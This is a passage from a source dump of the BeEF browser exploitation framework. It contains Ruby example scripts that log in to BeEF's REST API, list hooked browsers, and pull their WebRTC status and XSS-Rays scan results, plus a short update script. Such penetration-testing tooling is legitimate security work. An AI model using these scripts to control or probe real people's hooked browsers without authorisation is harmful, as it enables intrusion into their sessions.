|p| port = p end opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u| user = u end opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p| pass = p end opts.on('--ssl', 'Use HTTPS') do proto = 'https' end opts.on('-v', '--verbose', 'Enable verbose output') do @verbose = true end opts.on('-d', '--debug', 'Enable debug output') do @debug = true end end.parse! @api = BeefRestAPI.new proto, host, port, user, pass # Retrieve the RESTful API token print_status "Authenticating to: #{proto}://#{host}:#{port}" @api.auth # Retrieve BeEF version @api.version # Retrieve online hooked browser list hooks = @api.online_browsers.flatten exit 1 if hooks.empty? print_debug hooks # Retrieve hooked browser details hooks.each do |hook| next if hook['id'].nil? print_status "Retrieving WebRTC status for browser [id: #{hook['id']}]" details = @api.webrtc_status(hook['id']) print_debug details print_verbose details['success'] end ================================================ FILE: tools/rest_api_examples/xssrays ================================================ #!/usr/bin/env ruby # xssrays - Example BeEF RESTful API script # Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API ## require 'rest-client' require 'json' require 'optparse' require 'pp' require './lib/string' # colored strings require './lib/print' # print wrappers require './lib/beef_rest_api' if ARGV.length == 0 puts "#{$0}:" puts "| Example BeEF RESTful API script" puts "| Use --help for help" puts "|_ Use verbose mode (-v) and debug mode (-d) for more output" exit 1 end # API config proto = 'http' host = '127.0.0.1' port = '3000' user = 'beef' pass = 'beef' # Command line options @debug = false @verbose = false OptionParser.new do |opts| opts.on('-h', '--help', 'Shows this help screen') do puts opts exit 1 end opts.on('--host HOST', "Set BeEF host (default: #{host})") do |h| host = h end opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p| port = p end opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u| user = u end opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p| pass = p end opts.on('--ssl', 'Use HTTPS') do proto = 'https' end opts.on('-v', '--verbose', 'Enable verbose output') do @verbose = true end opts.on('-d', '--debug', 'Enable debug output') do @debug = true end end.parse! @api = BeefRestAPI.new proto, host, port, user, pass # Retrieve the RESTful API token print_status "Authenticating to: #{proto}://#{host}:#{port}" @api.auth # Retrieve BeEF version @api.version # Retrieve all scans scans = @api.xssrays_scans_all print_debug scans # Retrieve all rays rays = @api.xssrays_rays_all print_debug rays # Retrieve online hooked browser list hooks = @api.online_browsers.flatten exit 1 if hooks.empty? print_debug hooks # Retrieve rays for each hooked browser hooks.each do |hook| next if hook['id'].nil? print_status "Retrieving rays for browser [id: #{hook['id']}]" rays = @api.xssrays_rays(hook['session']) print_debug rays rays['rays'].each do |ray| next if ray['id'].nil? print_verbose "#{ray['vector_name']} (#{ray['vector_method']})" end end # Retrieve scans for each hooked browser hooks.each do |hook| next if hook['id'].nil? print_status "Retrieving scans for browser [id: #{hook['id']}]" scans = @api.xssrays_scans(hook['session']) print_debug scans scans['scans'].each do |scan| next if scan['id'].nil? print_verbose "Scan [#{scan['id']}] on domain #{scan['domain']}" end end ================================================ FILE: update-beef ================================================ #!/bin/bash # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # set -euo pipefail IFS=$'\n\t' info() { echo -e "\\033[1;36m[INFO]\\033[0m $*"; } info 'Updating BeEF from GitHub repository...' git pull info 'Updating dependencies...' if [ -f Gemfile.lock ]; then rm Gemfile.lock fi bundle install